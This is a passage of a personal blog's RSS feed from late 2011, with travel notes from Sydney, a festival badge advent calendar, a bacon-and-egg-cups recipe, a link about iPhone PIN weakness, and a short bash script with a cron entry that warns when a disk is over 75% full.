  8429. ]]></content:encoded>
  8430.  </item>
  8431.  
  8432.  <item>
  8433.    <title>Sydney</title>
  8434.    <link>https://blog.x-way.org/Misc/2012/01/07/Sydney.html</link>
  8435.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324181</guid>
  8436.    <dc:creator>Andreas Jaggi</dc:creator>
  8437.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  8438.    <pubDate>Sat, 07 Jan 2012 12:33:00 +0100</pubDate>
  8439.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  8440.    <description><![CDATA[<p>Yesterday after work we had some beers at <a href="http://www.thelocal.com.au/" title="The Local Taphouse">The Local Taphouse</a> (including some fine porter from <a href="http://www.brewdog.com/" title="BrewDog | Scottish Craft Beer">BrewDog</a> to increase my shareholder value) and then we went on to go out in some clubs, <em>in shorts and flip-flops</em>.<br>Astonishingly we had no problems getting inside, anywhere else in the world this would not be possible!</p>
  8441. <p>This morning then up again for some early surfing at Bondi before all the tourists arrive.<br>And now chilling in my <a href="http://www.kammok.com/" title="Kammok">Kammok</a> under the trees in the frontyard :-)</p>
  8442. <p><img src="https://blog.x-way.org/images/frontyard_kammok.jpeg" alt="Frontyard Kammok" height="360" width="480"></p>
  8443. ]]></description>
  8444.    <content:encoded><![CDATA[<p>Yesterday after work we had some beers at <a href="http://www.thelocal.com.au/" title="The Local Taphouse">The Local Taphouse</a> (including some fine porter from <a href="http://www.brewdog.com/" title="BrewDog | Scottish Craft Beer">BrewDog</a> to increase my shareholder value) and then we went on to go out in some clubs, <em>in shorts and flip-flops</em>.<br>Astonishingly we had no problems getting inside, anywhere else in the world this would not be possible!</p>
  8445. <p>This morning then up again for some early surfing at Bondi before all the tourists arrive.<br>And now chilling in my <a href="http://www.kammok.com/" title="Kammok">Kammok</a> under the trees in the frontyard :-)</p>
  8446. <p><img src="https://blog.x-way.org/images/frontyard_kammok.jpeg" alt="Frontyard Kammok" height="360" width="480"></p>
  8447. ]]></content:encoded>
  8448.  </item>
  8449.  
  8450.  <item>
  8451.    <title>Packing</title>
  8452.    <link>https://blog.x-way.org/Misc/2011/12/24/Packing.html</link>
  8453.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324180</guid>
  8454.    <dc:creator>Andreas Jaggi</dc:creator>
  8455.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  8456.    <pubDate>Sat, 24 Dec 2011 11:49:00 +0100</pubDate>
  8457.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  8458.    <description><![CDATA[<p>This morning I started to prepare the bagagges for my trip to <a href="http://events.ccc.de/congress/2011/" title="28th Chaos Computing Congress">28C3</a> and for the two months in Sydney.<br>
  8459. While stowing away all my stuff in boxes so I can sublet my room I found old boxes with stuff, which I did stow away over a year ago when I went to Sydney the last time and I've never even thought about since!</p>
  8460. <p>As I did not have time to open them today I don't even know what is in those boxes. Probably I should just throw them away when I come back from Sydney, there can't be anything important in there :-)</p>
  8461. ]]></description>
  8462.    <content:encoded><![CDATA[<p>This morning I started to prepare the bagagges for my trip to <a href="http://events.ccc.de/congress/2011/" title="28th Chaos Computing Congress">28C3</a> and for the two months in Sydney.<br>
  8463. While stowing away all my stuff in boxes so I can sublet my room I found old boxes with stuff, which I did stow away over a year ago when I went to Sydney the last time and I've never even thought about since!</p>
  8464. <p>As I did not have time to open them today I don't even know what is in those boxes. Probably I should just throw them away when I come back from Sydney, there can't be anything important in there :-)</p>
  8465. ]]></content:encoded>
  8466.  </item>
  8467.  
  8468.  <item>
  8469.    <title>Open Systems</title>
  8470.    <link>https://blog.x-way.org/Badges/2011/12/24/Open-Systems.html</link>
  8471.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324179</guid>
  8472.    <dc:creator>Andreas Jaggi</dc:creator>
  8473.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  8474.    <pubDate>Sat, 24 Dec 2011 08:31:00 +0100</pubDate>
  8475.    <category domain="https://blog.x-way.org/Badges/">Badges</category>
  8476.    <description><![CDATA[<p>Let's finish the badge advent calendar like it started - with a tech conference badge. Enjoy my <a href="http://www.open.ch/" title="Open Systems AG">Open Systems</a> nametag:</p>
  8477. <p><img src="https://blog.x-way.org/images/badges/opensystems.jpeg" alt="Open Systems Nametag" height="62" width="203"></p>
  8478. ]]></description>
  8479.    <content:encoded><![CDATA[<p>Let's finish the badge advent calendar like it started - with a tech conference badge. Enjoy my <a href="http://www.open.ch/" title="Open Systems AG">Open Systems</a> nametag:</p>
  8480. <p><img src="https://blog.x-way.org/images/badges/opensystems.jpeg" alt="Open Systems Nametag" height="62" width="203"></p>
  8481. ]]></content:encoded>
  8482.  </item>
  8483.  
  8484.  <item>
  8485.    <title>Soiree BAM</title>
  8486.    <link>https://blog.x-way.org/Badges/2011/12/23/Soiree-BAM.html</link>
  8487.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324178</guid>
  8488.    <dc:creator>Andreas Jaggi</dc:creator>
  8489.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  8490.    <pubDate>Fri, 23 Dec 2011 08:43:00 +0100</pubDate>
  8491.    <category domain="https://blog.x-way.org/Badges/">Badges</category>
  8492.    <description><![CDATA[<p>One of the rare concert evenings at Satellite where even the technicians had to have an additional badge (but nevertheless this is another one of a kind memory): Soiree BAM 2005</p>
  8493. <p><img src="https://blog.x-way.org/images/badges/Soiree_BAM_2005.jpeg" alt="Soiree BAM" height="145" width="179"></p>
  8494. ]]></description>
  8495.    <content:encoded><![CDATA[<p>One of the rare concert evenings at Satellite where even the technicians had to have an additional badge (but nevertheless this is another one of a kind memory): Soiree BAM 2005</p>
  8496. <p><img src="https://blog.x-way.org/images/badges/Soiree_BAM_2005.jpeg" alt="Soiree BAM" height="145" width="179"></p>
  8497. ]]></content:encoded>
  8498.  </item>
  8499.  
  8500.  <item>
  8501.    <title>Balelec 2005</title>
  8502.    <link>https://blog.x-way.org/Badges/2011/12/22/Balelec-2005.html</link>
  8503.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324177</guid>
  8504.    <dc:creator>Andreas Jaggi</dc:creator>
  8505.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  8506.    <pubDate>Thu, 22 Dec 2011 06:56:00 +0100</pubDate>
  8507.    <category domain="https://blog.x-way.org/Badges/">Badges</category>
  8508.    <description><![CDATA[<p>There we go, the first year I participated as staff: <a href="http://www.balelec.ch/" title="Festival Balelec EPFL">Festival Balelec 2005</a></p>
  8509. <p><img src="https://blog.x-way.org/images/badges/Balelec_2005.jpeg" alt="Balelec 2005" height="271" width="189"></p>
  8510. ]]></description>
  8511.    <content:encoded><![CDATA[<p>There we go, the first year I participated as staff: <a href="http://www.balelec.ch/" title="Festival Balelec EPFL">Festival Balelec 2005</a></p>
  8512. <p><img src="https://blog.x-way.org/images/badges/Balelec_2005.jpeg" alt="Balelec 2005" height="271" width="189"></p>
  8513. ]]></content:encoded>
  8514.  </item>
  8515.  
  8516.  <item>
  8517.    <title>Balelec 2006</title>
  8518.    <link>https://blog.x-way.org/Badges/2011/12/21/Balelec-2006.html</link>
  8519.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324176</guid>
  8520.    <dc:creator>Andreas Jaggi</dc:creator>
  8521.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  8522.    <pubDate>Wed, 21 Dec 2011 08:11:00 +0100</pubDate>
  8523.    <category domain="https://blog.x-way.org/Badges/">Badges</category>
  8524.    <description><![CDATA[<p>Luckily this one took place very year (for more than 30 years now!): <a href="http://www.balelec.ch/" title="Festival Balelec EPFL">Festival Balelec 2006</a></p>
  8525. <p><img src="https://blog.x-way.org/images/badges/Balelec_2006.jpeg" alt="Balelec 2006" height="270" width="189"></p>
  8526. ]]></description>
  8527.    <content:encoded><![CDATA[<p>Luckily this one took place very year (for more than 30 years now!): <a href="http://www.balelec.ch/" title="Festival Balelec EPFL">Festival Balelec 2006</a></p>
  8528. <p><img src="https://blog.x-way.org/images/badges/Balelec_2006.jpeg" alt="Balelec 2006" height="270" width="189"></p>
  8529. ]]></content:encoded>
  8530.  </item>
  8531.  
  8532.  <item>
  8533.    <title>Closedair 2006</title>
  8534.    <link>https://blog.x-way.org/Badges/2011/12/20/Closedair-2006.html</link>
  8535.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324175</guid>
  8536.    <dc:creator>Andreas Jaggi</dc:creator>
  8537.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  8538.    <pubDate>Tue, 20 Dec 2011 10:23:00 +0100</pubDate>
  8539.    <category domain="https://blog.x-way.org/Badges/">Badges</category>
  8540.    <description><![CDATA[<p>Yet another great event which no longer exists: ClosedAir 2006</p>
  8541. <p><img src="https://blog.x-way.org/images/badges/Closedair_2006.jpeg" alt="Closedair 2006" height="155" width="242"></p>
  8542. ]]></description>
  8543.    <content:encoded><![CDATA[<p>Yet another great event which no longer exists: ClosedAir 2006</p>
  8544. <p><img src="https://blog.x-way.org/images/badges/Closedair_2006.jpeg" alt="Closedair 2006" height="155" width="242"></p>
  8545. ]]></content:encoded>
  8546.  </item>
  8547.  
  8548.  <item>
  8549.    <title>LinuxWorld 2007</title>
  8550.    <link>https://blog.x-way.org/Badges/2011/12/19/LinuxWorld-2007.html</link>
  8551.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324174</guid>
  8552.    <dc:creator>Andreas Jaggi</dc:creator>
  8553.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  8554.    <pubDate>Mon, 19 Dec 2011 08:35:00 +0100</pubDate>
  8555.    <category domain="https://blog.x-way.org/Badges/">Badges</category>
  8556.    <description><![CDATA[<p>Let's start the last week of this badge advent calendar with another tech conference badge (looks like the conference no longer exists, thus no link to any website): San Francisco LinuxWorld 2007</p>
  8557. <p><img src="https://blog.x-way.org/images/badges/Linuxworld_2007.jpeg" alt="LinuxWorld 2007" height="158" width="247"></p>
  8558. ]]></description>
  8559.    <content:encoded><![CDATA[<p>Let's start the last week of this badge advent calendar with another tech conference badge (looks like the conference no longer exists, thus no link to any website): San Francisco LinuxWorld 2007</p>
  8560. <p><img src="https://blog.x-way.org/images/badges/Linuxworld_2007.jpeg" alt="LinuxWorld 2007" height="158" width="247"></p>
  8561. ]]></content:encoded>
  8562.  </item>
  8563.  
  8564.  <item>
  8565.    <title>Artiphys 2008</title>
  8566.    <link>https://blog.x-way.org/Badges/2011/12/18/Artiphys-2008.html</link>
  8567.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324173</guid>
  8568.    <dc:creator>Andreas Jaggi</dc:creator>
  8569.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  8570.    <pubDate>Sun, 18 Dec 2011 12:46:00 +0100</pubDate>
  8571.    <category domain="https://blog.x-way.org/Badges/">Badges</category>
  8572.    <description><![CDATA[<p>And there the other student music festival which managed to provide badges: <a href="http://www.artiphys.ch/" title="Festival Artiphys">Artiphys 2008</a></p>
  8573. <p><img src="https://blog.x-way.org/images/badges/Artiphys_2008.jpeg" alt="Artiphys 2008" height="189" width="269"></p>
  8574. ]]></description>
  8575.    <content:encoded><![CDATA[<p>And there the other student music festival which managed to provide badges: <a href="http://www.artiphys.ch/" title="Festival Artiphys">Artiphys 2008</a></p>
  8576. <p><img src="https://blog.x-way.org/images/badges/Artiphys_2008.jpeg" alt="Artiphys 2008" height="189" width="269"></p>
  8577. ]]></content:encoded>
  8578.  </item>
  8579.  
  8580.  <item>
  8581.    <title>check_disk_usage.sh</title>
  8582.    <link>https://blog.x-way.org/Linux/2011/12/17/check_disk_usage_sh.html</link>
  8583.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324172</guid>
  8584.    <dc:creator>Andreas Jaggi</dc:creator>
  8585.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  8586.    <pubDate>Sat, 17 Dec 2011 17:09:00 +0100</pubDate>
  8587.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  8588.    <description><![CDATA[<p>Quick and dirty way to get an alert before your server starts to go crazy because of a full disk.</p>
  8589.  
  8590. <p>This script checks if a disk is more than 75% full.</p>
  8591.  
  8592. <pre>#!/bin/bash
  8593.  
  8594. df -h | awk '/%/ {
  8595.        limit = 75
  8596.        percent = sprintf("%d",$5)
  8597.        if ( percent > limit ) {
  8598.                print "Warning: ",$6," (",$1,") is to ",percent,"% full:"
  8599.                print $0
  8600.        }
  8601. }'</pre>
  8602.  
  8603. <p>Save it under /root/check_disk_usage.sh and create the following crontab entry to check the disk usage every day at half past midnight.</p>
  8604.  
  8605. <pre>30  0  *   *   *     /root/check_disk_usage.sh</pre>
  8606.  
  8607. <p>Assuming your host has configured an MTA and defined a recipient for root@&lt;yourhost&gt;, you should get an e-mail whenever a disk is more than 75% full.</p>
  8608. ]]></description>
  8609.    <content:encoded><![CDATA[<p>Quick and dirty way to get an alert before your server starts to go crazy because of a full disk.</p>
  8610.  
  8611. <p>This script checks if a disk is more than 75% full.</p>
  8612.  
  8613. <pre>#!/bin/bash
  8614.  
  8615. df -h | awk '/%/ {
  8616.        limit = 75
  8617.        percent = sprintf("%d",$5)
  8618.        if ( percent > limit ) {
  8619.                print "Warning: ",$6," (",$1,") is to ",percent,"% full:"
  8620.                print $0
  8621.        }
  8622. }'</pre>
  8623.  
  8624. <p>Save it under /root/check_disk_usage.sh and create the following crontab entry to check the disk usage every day at half past midnight.</p>
  8625.  
  8626. <pre>30  0  *   *   *     /root/check_disk_usage.sh</pre>
  8627.  
  8628. <p>Assuming your host has configured an MTA and defined a recipient for root@&lt;yourhost&gt;, you should get an e-mail whenever a disk is more than 75% full.</p>
  8629. ]]></content:encoded>
  8630.  </item>
  8631.  
  8632.  <item>
  8633.    <title>Balelec 2008</title>
  8634.    <link>https://blog.x-way.org/Badges/2011/12/17/Balelec-2008.html</link>
  8635.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324171</guid>
  8636.    <dc:creator>Andreas Jaggi</dc:creator>
  8637.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  8638.    <pubDate>Sat, 17 Dec 2011 10:10:00 +0100</pubDate>
  8639.    <category domain="https://blog.x-way.org/Badges/">Badges</category>
  8640.    <description><![CDATA[<p>Now on to the badges of 2008, as every year: <a href="http://www.balelec.ch/" title="Festival Balelec EPFL">Festival Balelec 2008</a></p>
  8641. <p><img src="https://blog.x-way.org/images/badges/Balelec_2008.jpeg" alt="Festival Balelec 2008" height="271" width="184"></p>
  8642. ]]></description>
  8643.    <content:encoded><![CDATA[<p>Now on to the badges of 2008, as every year: <a href="http://www.balelec.ch/" title="Festival Balelec EPFL">Festival Balelec 2008</a></p>
  8644. <p><img src="https://blog.x-way.org/images/badges/Balelec_2008.jpeg" alt="Festival Balelec 2008" height="271" width="184"></p>
  8645. ]]></content:encoded>
  8646.  </item>
  8647.  
  8648.  <item>
  8649.    <title>iPhone PIN bruteforce</title>
  8650.    <link>https://blog.x-way.org/Misc/2011/12/16/iPhone-PIN-bruteforce.html</link>
  8651.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324170</guid>
  8652.    <dc:creator>Andreas Jaggi</dc:creator>
  8653.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  8654.    <pubDate>Fri, 16 Dec 2011 08:20:00 +0100</pubDate>
  8655.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  8656.    <description><![CDATA[<p><a href="https://youtu.be/Tmgoussvo8A" title="c't: iPhone-Sperre nahezu nutzlos - YouTube">c't: iPhone-Sperre nahezu nutzlos</a></p>
  8657. <p>(via <a href="http://vowe.net/archives/012910.html" title="vowe dot net :: Eine vierstellige PIN ist zu schwach">vowe.net</a>)</p>
  8658. ]]></description>
  8659.    <content:encoded><![CDATA[<p><a href="https://youtu.be/Tmgoussvo8A" title="c't: iPhone-Sperre nahezu nutzlos - YouTube">c't: iPhone-Sperre nahezu nutzlos</a></p>
  8660. <p>(via <a href="http://vowe.net/archives/012910.html" title="vowe dot net :: Eine vierstellige PIN ist zu schwach">vowe.net</a>)</p>
  8661. ]]></content:encoded>
  8662.  </item>
  8663.  
  8664.  <item>
  8665.    <title>Caprices 2009</title>
  8666.    <link>https://blog.x-way.org/Badges/2011/12/16/Caprices-2009.html</link>
  8667.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324169</guid>
  8668.    <dc:creator>Andreas Jaggi</dc:creator>
  8669.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  8670.    <pubDate>Fri, 16 Dec 2011 08:15:00 +0100</pubDate>
  8671.    <category domain="https://blog.x-way.org/Badges/">Badges</category>
  8672.    <description><![CDATA[<p>The only time (for now) when I got to fly in a helicopter for a music festival was at: <a href="http://www.caprices.ch/" title="Caprices Festival">Caprices 2009</a></p>
  8673. <p><img src="https://blog.x-way.org/images/badges/Caprices_2009.jpeg" alt="Caprices 2009" height="156" width="244"></p>
  8674. ]]></description>
  8675.    <content:encoded><![CDATA[<p>The only time (for now) when I got to fly in a helicopter for a music festival was at: <a href="http://www.caprices.ch/" title="Caprices Festival">Caprices 2009</a></p>
  8676. <p><img src="https://blog.x-way.org/images/badges/Caprices_2009.jpeg" alt="Caprices 2009" height="156" width="244"></p>
  8677. ]]></content:encoded>
  8678.  </item>
  8679.  
  8680.  <item>
  8681.    <title>Balelec 2009</title>
  8682.    <link>https://blog.x-way.org/Badges/2011/12/15/Balelec-2009.html</link>
  8683.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324168</guid>
  8684.    <dc:creator>Andreas Jaggi</dc:creator>
  8685.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  8686.    <pubDate>Thu, 15 Dec 2011 08:37:00 +0100</pubDate>
  8687.    <category domain="https://blog.x-way.org/Badges/">Badges</category>
  8688.    <description><![CDATA[<p>And once more there is a badge from: <a href="http://www.balelec.ch/" title="Festival Balelec EPFL">Festival Balelec 2009</a></p>
  8689. <p><img src="https://blog.x-way.org/images/badges/Balelec_2009.jpeg" alt="Festival Balelec 2009" height="271" width="184"></p>
  8690. ]]></description>
  8691.    <content:encoded><![CDATA[<p>And once more there is a badge from: <a href="http://www.balelec.ch/" title="Festival Balelec EPFL">Festival Balelec 2009</a></p>
  8692. <p><img src="https://blog.x-way.org/images/badges/Balelec_2009.jpeg" alt="Festival Balelec 2009" height="271" width="184"></p>
  8693. ]]></content:encoded>
  8694.  </item>
  8695.  
  8696.  <item>
  8697.    <title>Festival de la terre 2009</title>
  8698.    <link>https://blog.x-way.org/Badges/2011/12/14/Festival-de-la-terre-2009.html</link>
  8699.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324167</guid>
  8700.    <dc:creator>Andreas Jaggi</dc:creator>
  8701.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  8702.    <pubDate>Wed, 14 Dec 2011 12:44:00 +0100</pubDate>
  8703.    <category domain="https://blog.x-way.org/Badges/">Badges</category>
  8704.    <description><![CDATA[<p>Here comes the largest badge in my collection: <a href="https://web.archive.org/web/20130515093104/http://www.festivaldelaterre.ch/" title="Festival de la terre (archive.org)">Festival de la terre 2009</a></p>
  8705. <p><img src="https://blog.x-way.org/images/badges/Festival_de_la_terre_2009.jpeg" alt="Festival de la terre 2009" height="418" width="300"></p>
  8706. ]]></description>
  8707.    <content:encoded><![CDATA[<p>Here comes the largest badge in my collection: <a href="https://web.archive.org/web/20130515093104/http://www.festivaldelaterre.ch/" title="Festival de la terre (archive.org)">Festival de la terre 2009</a></p>
  8708. <p><img src="https://blog.x-way.org/images/badges/Festival_de_la_terre_2009.jpeg" alt="Festival de la terre 2009" height="418" width="300"></p>
  8709. ]]></content:encoded>
  8710.  </item>
  8711.  
  8712.  <item>
  8713.    <title>Montreux Jazz 2009</title>
  8714.    <link>https://blog.x-way.org/Badges/2011/12/13/Montreux-Jazz-2009.html</link>
  8715.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324166</guid>
  8716.    <dc:creator>Andreas Jaggi</dc:creator>
  8717.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  8718.    <pubDate>Tue, 13 Dec 2011 07:44:00 +0100</pubDate>
  8719.    <category domain="https://blog.x-way.org/Badges/">Badges</category>
  8720.    <description><![CDATA[<p>Probably the most 'famous' badge in my collection: <a href="https://www.montreuxjazzfestival.com/" title="Montreux Jazz Festival">Montreux Jazz Festival 2009</a></p>
  8721. <p><img src="https://blog.x-way.org/images/badges/Montreux_Jazz_Festival_2009.jpeg" alt="Montreux Jazz 2009" height="407" width="274"></p>
  8722. ]]></description>
  8723.    <content:encoded><![CDATA[<p>Probably the most 'famous' badge in my collection: <a href="https://www.montreuxjazzfestival.com/" title="Montreux Jazz Festival">Montreux Jazz Festival 2009</a></p>
  8724. <p><img src="https://blog.x-way.org/images/badges/Montreux_Jazz_Festival_2009.jpeg" alt="Montreux Jazz 2009" height="407" width="274"></p>
  8725. ]]></content:encoded>
  8726.  </item>
  8727.  
  8728.  <item>
  8729.    <title>Metropop 2009</title>
  8730.    <link>https://blog.x-way.org/Badges/2011/12/12/Metropop-2009.html</link>
  8731.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324165</guid>
  8732.    <dc:creator>Andreas Jaggi</dc:creator>
  8733.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  8734.    <pubDate>Mon, 12 Dec 2011 05:44:00 +0100</pubDate>
  8735.    <category domain="https://blog.x-way.org/Badges/">Badges</category>
  8736.    <description><![CDATA[<p>With the 2009 badges, I can almost fill another week. Let's start with: <a href="http://www.metropop.ch/" title="Metropop Festival Lausanne">Metropop Festival 2009</a></p>
  8737. <p><img src="https://blog.x-way.org/images/badges/Metropop_2009.jpeg" alt="Metropop 2009" height="238" width="171"></p>
  8738. ]]></description>
  8739.    <content:encoded><![CDATA[<p>With the 2009 badges, I can almost fill another week. Let's start with: <a href="http://www.metropop.ch/" title="Metropop Festival Lausanne">Metropop Festival 2009</a></p>
  8740. <p><img src="https://blog.x-way.org/images/badges/Metropop_2009.jpeg" alt="Metropop 2009" height="238" width="171"></p>
  8741. ]]></content:encoded>
  8742.  </item>
  8743.  
  8744.  <item>
  8745.    <title>(Mini) Bacon and Egg Cups</title>
  8746.    <link>https://blog.x-way.org/Food/2011/12/11/Mini-Bacon-and-Egg-Cups.html</link>
  8747.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324164</guid>
  8748.    <dc:creator>Andreas Jaggi</dc:creator>
  8749.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  8750.    <pubDate>Sun, 11 Dec 2011 18:55:00 +0100</pubDate>
  8751.    <category domain="https://blog.x-way.org/Food/">Food</category>
  8752.    <description><![CDATA[<p>Last week I stumbled upon this delicious looking <a href="http://www.howto-simplify.com/2010/08/bacon-and-egg-cups.html" title="How To: Simplify: Bacon and Egg Cups">bacon and egg cups recipe</a> and thought that I should try it sometimes, which I did this morning.<br>
  8753. Since I don't have a real muffin tin I used a somewhat smaller cake tin, with the result that the handling was a bit more delicate and also my cups are more like 'mini' cups (which is not necessarily a bad thing because the bacon I bought was also smaller than expected and thus it matched perfectly).</p>
  8754.  
  8755. <p><img src="https://blog.x-way.org/images/bread_with_holes.jpeg" alt="Bread with holes" width="439" height="386"><br>This is the result of the first step in the recipe and all what is leftover once I was finished. Not very useful for putting jam on it anymore, but perfect to stir the next cheese fondue :-)</p>
  8756.  
  8757. <p>
  8758. Ingredients:
  8759. </p>
  8760. <ul>
  8761. <li>1 slice of bread per muffin cup (1 slice per 4 cups for the 'mini' version)</li>
  8762. <li>2 slices of bacon per muffing cup (use small slices for the 'mini' version)</li>
  8763. <li>1 egg per muffin cup (same for the 'mini' version)</li>
  8764. <li>1 tablespoon shredded cheddar cheese per muffin cup (optional, I used some parmesan instead)</li>
  8765. <li>salt and pepper to taste</li>
  8766. </ul>
  8767.  
  8768. <p>
  8769. Directions:
  8770. </p>
  8771. <ol>
  8772. <li>Preheat oven to 375 degrees.<br>(that's 190 degrees celsius)</li>
  8773. <li>Use a cookie cutter to cut circles out of each piece of bread.</li>
  8774. <li>Grease a muffin tin and press circles of bread in the muffin cups. Place in the oven and bake for 5 minutes or until bread is slightly toasted. Remove from oven.<br>(be careful when doing the 'mini' version, your bread will be toasted in well under 5 minutes)</li>
  8775. <li>Cook bacon in a skillet until halfway cooked (approximately 3-4 minutes).<br>(here again: when using small bacon slices they will be ready in less than a minute, be careful to not make them too crispy otherwise they will be hard to fit into the cups)</li>
  8776. <li>Place 2 slices of bacon on top of the pieces of bread to form a cup (the bacon should cover the bread and the sides of each cup).</li>
  8777. <li>Crack an egg into each muffin cup (on top of the bacon). It helps to discard a little bit of the egg white after cracking and before pouring into the muffin cup.<br>(for the 'mini' version keep the surplus egg white in a bowl and use it to make some 'only-white' cups, one egg gives enough surplus egg white for another cup)</li>
  8778. <li>Place in the oven and bake for 18-20 minutes or until the eggs are set.<br>(for the 'mini' version use 8-10 minutes, I almost burned mine!)</li>
  8779. <li>Sprinkle cheddar cheese over each egg and continue to bake until cheese is melted (this step is optional).</li>
  8780. <li>Season with salt and pepper to taste and serve.</li>
  8781. </ol>
  8782. <p>
  8783. Enjoy!
  8784. </p>
  8785. <p>
  8786. <img src="https://blog.x-way.org/images/bacon_and_egg_cups.jpeg" alt="bacon and egg cups" width="429" height="518">
  8787. </p>
  8788.  
  8789. <p>
  8790. <img src="https://blog.x-way.org/images/bacon_and_egg_cups_side.jpeg" alt="bacon and egg cups sideview" width="440" height="269">
  8791. </p>
  8792. <p>The advantage of my 'mini' version is that you will end up having plenty of little bacon and egg cups, yummy :-)</p>
  8793. <p>
  8794. <img src="https://blog.x-way.org/images/plenty_bacon_and_egg_cups.jpeg" alt="plate full of bacon and egg cups" width="440" height="429">
  8795. </p>
  8796. ]]></description>
  8797.    <content:encoded><![CDATA[<p>Last week I stumbled upon this delicious looking <a href="http://www.howto-simplify.com/2010/08/bacon-and-egg-cups.html" title="How To: Simplify: Bacon and Egg Cups">bacon and egg cups recipe</a> and thought that I should try it sometimes, which I did this morning.<br>
  8798. Since I don't have a real muffin tin I used a somewhat smaller cake tin, with the result that the handling was a bit more delicate and also my cups are more like 'mini' cups (which is not necessarily a bad thing because the bacon I bought was also smaller than expected and thus it matched perfectly).</p>
  8799.  
  8800. <p><img src="https://blog.x-way.org/images/bread_with_holes.jpeg" alt="Bread with holes" width="439" height="386"><br>This is the result of the first step in the recipe and all what is leftover once I was finished. Not very useful for putting jam on it anymore, but perfect to stir the next cheese fondue :-)</p>
  8801.  
  8802. <p>
  8803. Ingredients:
  8804. </p>
  8805. <ul>
  8806. <li>1 slice of bread per muffin cup (1 slice per 4 cups for the 'mini' version)</li>
  8807. <li>2 slices of bacon per muffing cup (use small slices for the 'mini' version)</li>
  8808. <li>1 egg per muffin cup (same for the 'mini' version)</li>
  8809. <li>1 tablespoon shredded cheddar cheese per muffin cup (optional, I used some parmesan instead)</li>
  8810. <li>salt and pepper to taste</li>
  8811. </ul>
  8812.  
  8813. <p>
  8814. Directions:
  8815. </p>
  8816. <ol>
  8817. <li>Preheat oven to 375 degrees.<br>(that's 190 degrees celsius)</li>
  8818. <li>Use a cookie cutter to cut circles out of each piece of bread.</li>
  8819. <li>Grease a muffin tin and press circles of bread in the muffin cups. Place in the oven and bake for 5 minutes or until bread is slightly toasted. Remove from oven.<br>(be careful when doing the 'mini' version, your bread will be toasted in well under 5 minutes)</li>
  8820. <li>Cook bacon in a skillet until halfway cooked (approximately 3-4 minutes).<br>(here again: when using small bacon slices they will be ready in less than a minute, be careful to not make them too crispy otherwise they will be hard to fit into the cups)</li>
  8821. <li>Place 2 slices of bacon on top of the pieces of bread to form a cup (the bacon should cover the bread and the sides of each cup).</li>
  8822. <li>Crack an egg into each muffin cup (on top of the bacon). It helps to discard a little bit of the egg white after cracking and before pouring into the muffin cup.<br>(for the 'mini' version keep the surplus egg white in a bowl and use it to make some 'only-white' cups, one egg gives enough surplus egg white for another cup)</li>
  8823. <li>Place in the oven and bake for 18-20 minutes or until the eggs are set.<br>(for the 'mini' version use 8-10 minutes, I almost burned mine!)</li>
  8824. <li>Sprinkle cheddar cheese over each egg and continue to bake until cheese is melted (this step is optional).</li>
  8825. <li>Season with salt and pepper to taste and serve.</li>
  8826. </ol>
  8827. <p>
  8828. Enjoy!
  8829. </p>
  8830. <p>
  8831. <img src="https://blog.x-way.org/images/bacon_and_egg_cups.jpeg" alt="bacon and egg cups" width="429" height="518">
  8832. </p>
  8833.  
  8834. <p>
  8835. <img src="https://blog.x-way.org/images/bacon_and_egg_cups_side.jpeg" alt="bacon and egg cups sideview" width="440" height="269">
  8836. </p>
  8837. <p>The advantage of my 'mini' version is that you will end up having plenty of little bacon and egg cups, yummy :-)</p>
  8838. <p>
  8839. <img src="https://blog.x-way.org/images/plenty_bacon_and_egg_cups.jpeg" alt="plate full of bacon and egg cups" width="440" height="429">
  8840. </p>
  8841. ]]></content:encoded>
  8842.  </item>
